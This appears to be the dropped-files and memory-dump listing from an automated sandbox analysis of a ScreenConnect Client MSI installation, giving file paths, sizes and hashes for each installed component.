Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.Override.en-US.resources
Size 429B
SHA256 bbaa77198e9c9335a2153c60d229350d58e3a5e902877f069cc20dad1b77ae6a
MD5 23ef1265fb50267f97b69f949449e438
SHA1 c1ce5e38f92c12b2f6a7f5a844642530f1bd3967
SHA512 0287a3f3e79b9afb73b88e3dbb4c0389b449936c5b22036b567280d5a4d62fb9f1a724675e5990de67463d28887badeaedb1873fde884129351db4b6270f5aa6
TLSH
T1DAE0AB2753FD50ACE4724B77E97DF4600B37AD188020D42C89A8122C4B722074F66B33
MD5 SHA1 SHA512 TLSH

Submit Download

Client.Override.resources

Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.Override.resources
Size 16KB
SHA256 fb20d8327397fd916df25e692c9d83936578784d649931fb4d915ed0506b5bd9
MD5 c11b3d3b6531d05a74a9ae0c8e95da4b
SHA1 ca4ad3ccfc179a306527dd09b81317d06e5db7f9
SHA512 fea74ce3053e2743c6f947e77ec70e13b069a0c8e6e36ded38fac32a61ac5d4a99ab73a12f603bb3e8c3759ca70ec1c8744a5e50a2d28a3a02c6a5cceedc7133
SSDEEP 192:rzN4JCsQEPfyRMocJu4Up2MVN4JCsQEPfyRMocJu4Up2MVN4JCsQEPfyRMocJu4i:rirnWr4ggrnWr4ggrnWr4ggrnWr4gJ
TLSH
T1A3724D772D4A2580E89AA87901B457CDDBAEE30E0EE47877C9121646F3711FDB82D6C4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.en-US.resources
Size 41KB
SHA256 71df8b9623a453ba104d9f363dc8744e72e8b9ae365e78bf685a4ebb96170288
MD5 5cfdd5ac73ea744e2b3f0ca4cced110e
SHA1 3e67aaec82dd5078497d9a8c275281036a0332f7
SHA512 d4981b3d50a001ba745ca065cef6a52155cec3890c88aaa90d1104434abe90453b3db8e711240da18155ed090c03d853d2686e6cfa457f6841901d3c94513369
SSDEEP 768:aVQReeveHr5qQgaznqykWybrmO/en6XLkF1G9fwzLKh7K11x8vHMcEHWIwi:aV0viQQBVkWy/mO/en6XLkF1G9fwzLKo
TLSH
T1A013FB1277FD0A18F5F36F06BE7A94629D37BD562E25D06E1028815E19B2F80C9B2373
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.resources
Size 2KB
SHA256 fe22dfd2cb3aedfa930b84b9dfdcde40a12db463503854639ed9aa4e76fb748b
MD5 f937db03777cd63981d8be8229c753e0
SHA1 61a6ad253829c9525db919bb88d4108d3099e5c0
SHA512 997c0d4759baa00aa160138cbe15fa56b7936211c063088c5826cfddd987d390615a14702be9f49a854d20f3f0dd2672bb1b672604c68000820cdb2a835c115c
TLSH
T1A941F1CA3BFA2D74F4B79B736EB99050EE35FE1C3566D1AE1406441E2B217099880B33
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.Client.dll
Size 181KB
SHA256 6983d0ae9b4cc96766cab4ddc7af2a55ae436990a848faba43db9ccae839323f
MD5 419733dc92875a5ed8b6917a0c7e823a
SHA1 b849bcbcc8ec861c0211d2b4eacd33d6639905ca
SHA512 0e560889f30271e5757ea22fd91334530bbc3196aa72229cc6be8da853842b2ab3e2fbd3aaacfc7431e5c0ede4ce8fa71454757eb0f10ac7585a28cbb746570c
SSDEEP 3072:K17KpzKD6T7rUHZqWNWDq0YpQIHUVjjtvulzDafzVU:KudHQ51WWpBQteCfzV
TLSH
T15D045DE563A89E2AEA6F4A77F4505124CB75DE15A193F3AA5D037CF95AB334082003F3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.dll
Size 33KB
SHA256 d688fb7415f0202e675616015f3ec445a978b458511db963bac63f3091a40be3
MD5 e8415e40f3730fbb05b6b4764d0438d2
SHA1 b338895c0f4f46ae5e2e7e9e8b9249924d53b457
SHA512 d0b783521232dfe698e132ee920bdc43e7789eb8c23b018167a43a4d27ad40e2a6aa7740f35e09a515672f33a37c81c1260fee3eff301e52a310bb443cea2807
SSDEEP 768:IOwFZXQ4ILasylQgS9vV2ljpwx+j/qYbh:H4Xm3guvV2lbj/qYbh
TLSH
T197F22AC6B3B99E6BC4DE4B7C7876F19407B09A026413F7AD9D8560DA0E673C01B017A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe
Size 92KB
SHA256 85774c163dedd186c77a67d252d6591dbf95d054425a9276cfb21223b8ae995f
MD5 4646672e254598b8243e7b63701282d3
SHA1 1677a087d0230e19fc62e115a50bd3bfe955319c
SHA512 0e7089f74dc9e6acc280f3ca4c10729c580f7d1739aaec2e90c35a91e38527796943e3c35c204faeb1a2bc8dff6af5c8ed786d0ca43256863ad42cfd65f42c65
SSDEEP 1536:6gkpi6fNrfIsW6EK9q3TtutVD9keKHtCXHsWGKPtcdGNSKfjREPqZBpj8:0iuhws3xA3TsHDCHtAwGDfjREyZBV8
TLSH
T1CA935B51B5D18871E5771D3158F8DEA05E3EFE605E218EBB3398022A0FB41C09A36DBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.Windows.dll
Size 1.6MB
SHA256 dba25d80c0d0a28a98b811502c3b24eab1b2095fe6ae52c1bd15481f9d5aeaa0
MD5 41f36e209b07cf125dc74dfdce1646a7
SHA1 40252161eba2a80e88b86c44f8bdf88005362e9d
SHA512 030e7cd3ca3d2eebbd03d95c3905f9abc8b390b6ab018a934bcc395e0694759685c33de97e1e4813c9aed218fa0adc0360567e9c614b0abe6c9284f330becd72
SSDEEP 24576:wN/cdrimVsJq2l6TOKoMjSvShvU86+RfmT01krTFiH4SqfKPTsUTHEWEZfM14wC:E/mi963PSumT0+TFiH7efP
TLSH
T10E75BE42E2D211F5D06B0478C9BE561BFB747C090320CBAF97D4BE666E337D09A2A356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe
Size 562KB
SHA256 19fe3f4314d47013e469ef151b7e383d8d6c596fdfea9bf1565faca1fa13a3df
MD5 12a5aa3acdaf9b51108163d00da0cca8
SHA1 864a1018aafa7d0920f616ae2bd4e5547e1d6f2d
SHA512 3ab2b67a87b2c66eb9934d7540c448e7702793535f9e7839145e5e7a7d3f8f89600885bedda873a71a8bd4eef786a0070dec0365f1ec0e9084bb45d188e98875
SSDEEP 12288:8AWITWYjzJg2DRK+vlUF0wSPtpviPhZd7JebW2Y:DWGjzJPRPXwSPtpaPv5JebW2Y
TLSH
T11FC46DBA33B8E66AC6EF0778F071290547B0E8062687E7DE54E4F8D90D863815E153E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\system.config
Size 885B
SHA256 7f1c82a4a47fd2fba5064c8f92f008c68412372a05d374c23f415b2e5cc3a0c5
MD5 c28cc2def6445f246b651c2063c1eb71
SHA1 03a7e14933cd0f3c7c831acb0248c49301449689
SHA512 d0cbeabd653d7f2c6bbc694a0d6e7fedda1671b9f3071a8b9b27954ec6b258ef4f906150758f4d43c0b52b8e572db2b3519135f3abe92941374b86cbe44b30c1
TLSH
T15511EF287388EC4389631E51C612CB05ED702D57516B5098759E527B8F315DA0BE35FA
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\ProgramData\ScreenConnect Client (b9eddf610409fd2b)\user.config
Size 546B
SHA256 2c5ddcebac685b59c94d08df958cf7e02ba28ac11ee08f1cc3a2dc797844e01f
MD5 f131290b1586f01fa5cbd29a410813eb
SHA1 63956b5216e7a4b60ef382682811962eea03d6de
SHA512 d55ff9bb2419a445a1f10f0fba6439f96ccae863d79153fce2b7e75ce5c4905ac0e5db6ac311f31604690e0133cf4b5008624a431cdfe2e75086b130b5827bb6
TLSH
T157F024283288AD1A1A734E22C2118644FE741B974416905878EE627A8F310DB03A31E7
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\ProgramData\ScreenConnect Client (b9eddf610409fd2b)\user.config
Size 2KB
SHA256 e0ae056a389d0f60c737fe6d2aaf9e423becd97557197cd48469f43960402752
MD5 8a9951e0ac27e1101ac22e5d6186f296
SHA1 154eb987b8dfa71f03b58ea344ec1458784bf37b
SHA512 875f5d69b696e87bbfe5db543b275f479dbc7121be588feab14f64a3c83bff22bd8168d8f63406b1e3eefe5208899589e8dd2ae27fdd5044e01a52a3b49b4dd8
TLSH
T1C351E779225CEE6A02630E12D206B769EF3A2893251E949939FD77768F304D283337D4
MD5 SHA1 SHA512 TLSH

Submit Download

MSI1325.tmp

Path C:\Users\Admin\AppData\Local\Temp\MSI1325.tmp
Size 356KB
SHA256 da61d5b5bada5b0fb6904748b72baa16220d0760d76f3f3d29f6f6588b06f1cd
MD5 9b07261721e7b8d6e8f118fc708776be
SHA1 bd1fc3571bb805ee44c734cdd0b6d837f46f479e
SHA512 82b87d5fd7b4c346c0b6e447ce39b90c2ced671be31a58dc4abedcb35cc3687e090c6d7614685046df691b703971f5b2153a1033f042ad11d86ee7af07c9a720
SSDEEP 6144:4UUG777hkV5p6xLD0RRmdF8hEx0Z0voBhuSggiQBaRMjmad4Q:4UUa/hkHpYLgmdF8hEx0yvoFaWj
TLSH
T11D74F11437E4C135F2F72B316E3561B14AF979B0A5B5828E7B99026C5EB1F80EB24363
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI1325.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI1325.tmp-\ScreenConnect.Core.dll
Size 439KB
SHA256 bad512370d834969316c6c7f8f2daac776155ce99a3652958e0ca7ccd70b556d
MD5 2ea40c0e098d9799aa23127fe9653b9e
SHA1 1d2c9fafa9c1d53876a16cae092a7a6e428ee3fe
SHA512 4873df691f1107e8edda0c4f072df93041d749af554645e715ed4480c47791df88e9f0357c98d1fac5037d9c141ebfe75cfd507de2e06d85737f0494bb2d2e7e
SSDEEP 6144:n8bP9lG6d8aYKkcqgQhHMnk7YhuzNHwBXrptL+kU38WpcGj/IfLjrZx4k6bBAIEl:nQr68q3ljshuS7L5GLtB
TLSH
T1ABA46C1523BC872ACAAF577AF42051158371CE06728EE75BBBC8E5BD1CC378A5D102E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI1325.tmp-\ScreenConnect.InstallerActions.dll
Size 20KB
SHA256 5698f7e5ca90bdd7ef140710849586ac48f6a09763ca26e21cf4eca8adab15c7
MD5 a518092929e35fd88640a50696db8a31
SHA1 d8914d536fe41e44464d3b861b8c77ca16995f21
SHA512 401af90e1356612462c98784ca3f230bca15dfc76af50565494bd1efff0f69dfb6e3fe8bbd867b8ac74eb3f69d81fcf7781ed91cf8c094b777ac8602ed30739c
SSDEEP 384:YRYG/6UeuQy2ICcBZ/XtzhaF/1eYcWrMUdg1kjvYU5y8onhW5YPabh:Y4LcBpXtQ+Yc/qr5yXhW5Nbh
TLSH
T1AA92810177EC022AF6FF2FB869F252504B76FDA2AC35E71E1985504E4D71B448AA0B73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI4C18.tmp

Path C:\Windows\Installer\MSI4C18.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e584aa0.msi

Path C:\Windows\Installer\e584aa0.msi
Size 1.8MB
SHA256 52addbccf07f023efef348bbd8c74dbc588f65ab2ddb69b9e676fa0b768c0b99
MD5 3e573f4670898a35fd39d5d430c96748
SHA1 595f8a9d253e1c9d66cc83bc0f26a8931a19cb32
SHA512 5e5983cfeda51cdf9d28695e3277dad611415d0f1d73f9aa45f59fad64f32a1ce94d8e709c199b4c245f1d87f880ab7777be88a140dbcad3f4ba51b4324404dc
SSDEEP 24576:RNGryn8Y2KWeNXPKPC+j/4TkfVub1emjS4t3nHRRlUhIMUUGGHpYLgmdF8gu7ura:jeyqkXSPkYYb1rSuRlUOXGHpYLgSL1g
TLSH
T11095F13136E4C039E2B21B35E93A92F15E79BD24DA62C05F43643D1E7971E809AB2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 24.6MB
SHA256 06eab737f2972d6db3ef8c8d86d7b81d4b724511247a07a22046ec9c5cf5b851
MD5 fa99a0211a7c05dcda2fe614fa3e8c5e
SHA1 fe4835150b1d726a729a16fcb57bd100400c8d72
SHA512 e284ecdb26cd9ef157adac5cbc7cde325aaaa7ae53c12fbfa44782e4da12887f56b5e8e58ecaca1ab613d08d3ba1e5be4ff02bcfbfc7b21a909a599f26aebe8f
SSDEEP 24576:O2gmSp1odoO/vvTLo2D+hUX6faZYQYHpWmwtn50za4q4k/HG4IiU7eJ0x:X
TLSH
T14747A32436F92210E7F79E3C6CF06A23493A7D5B9C16DE8D45421F4E0961BB0E872F5A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{5f6f0e8e-ebf0-4081-87f9-0a3a7a278636}_OnDiskSnapshotProp

Path \??\Volume{21a5fa1d-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{5f6f0e8e-ebf0-4081-87f9-0a3a7a278636}_OnDiskSnapshotProp
Size 6KB
SHA256 dc99d4192236cc3fabc68ae738f28e03bd30814b6bb7a33d79c143225a7efb75
MD5 317eeb58d392fd6d83d0271f9e528f6e
SHA1 59f6b649b7a5172d3b56c253ed1f1f8061bff654
SHA512 0cd83d59ccc3a6aa3d14f6b95d9021bbd01cf736b0f960abae44f9795c1465f89b3bfb30b507d1fb82e7303f55067b731d733675c09d2034a83107c58ecb1704
SSDEEP 96:FEnIZLNvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:GAb++ZVm
TLSH
T1EFD178185AF54711E2B3AB7229F54557A877B811EF33CB8E0298238E2670A10F935F5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/644-28-0x0000024C8F770000-0x0000024C8FF1E000-memory.dmp

Download

memory/644-131-0x0000024C8F770000-0x0000024C8FF1E000-memory.dmp

Download

memory/1788-22-0x0000000004B00000-0x0000000004B74000-memory.dmp

Download

memory/1788-18-0x0000000002720000-0x000000000272C000-memory.dmp

Download

memory/1788-14-0x00000000026E0000-0x000000000270E000-memory.dmp

Download

memory/2740-140-0x000001D1C5670000-0x000001D1C5E1E000-memory.dmp

Download

memory/2740-134-0x000001D1C5670000-0x000001D1C5E1E000-memory.dmp

Download

memory/3400-130-0x000000001C590000-0x000000001CD3E000-memory.dmp

Download

memory/3400-129-0x0000000001790000-0x000000000179C000-memory.dmp

Download

memory/5064-27-0x000001FEF6F80000-0x000001FEF772E000-memory.dmp

Download

memory/5064-125-0x000001FEF6F80000-0x000001FEF772E000-memory.dmp

Download

memory/5524-106-0x000000001B4F0000-0x000000001B678000-memory.dmp

Download

memory/5524-105-0x000000001B350000-0x000000001B4EA000-memory.dmp

Download

memory/5524-102-0x0000000000130000-0x00000000001C2000-memory.dmp

Download

memory/5524-107-0x0000000000AF0000-0x0000000000AFE000-memory.dmp

Download

memory/5524-139-0x000000001B930000-0x000000001C0DE000-memory.dmp

Download

memory/5524-103-0x0000000002330000-0x0000000002364000-memory.dmp

Download

memory/5524-104-0x000000001B130000-0x000000001B1A4000-memory.dmp

Download

memory/5524-138-0x0000000000AC0000-0x0000000000ACC000-memory.dmp

Download

memory/6088-86-0x0000000004620000-0x00000000047BA000-memory.dmp

Download

memory/6088-90-0x0000000004520000-0x00000000045B2000-memory.dmp

Download

memory/6088-137-0x0000000005540000-0x0000000005569000-memory.dmp

Download

memory/6088-79-0x0000000004340000-0x0000000004374000-memory.dmp

Download

memory/6088-136-0x0000000005440000-0x000000000553E000-memory.dmp

Download

memory/6088-135-0x0000000004180000-0x0000000004199000-memory.dmp

Download

memory/6088-95-0x0000000004950000-0x0000000004AD8000-memory.dmp

Download

memory/6088-73-0x0000000004170000-0x000000000417E000-memory.dmp

Download

memory/6088-97-0x0000000004D30000-0x0000000004D80000-memory.dmp

Download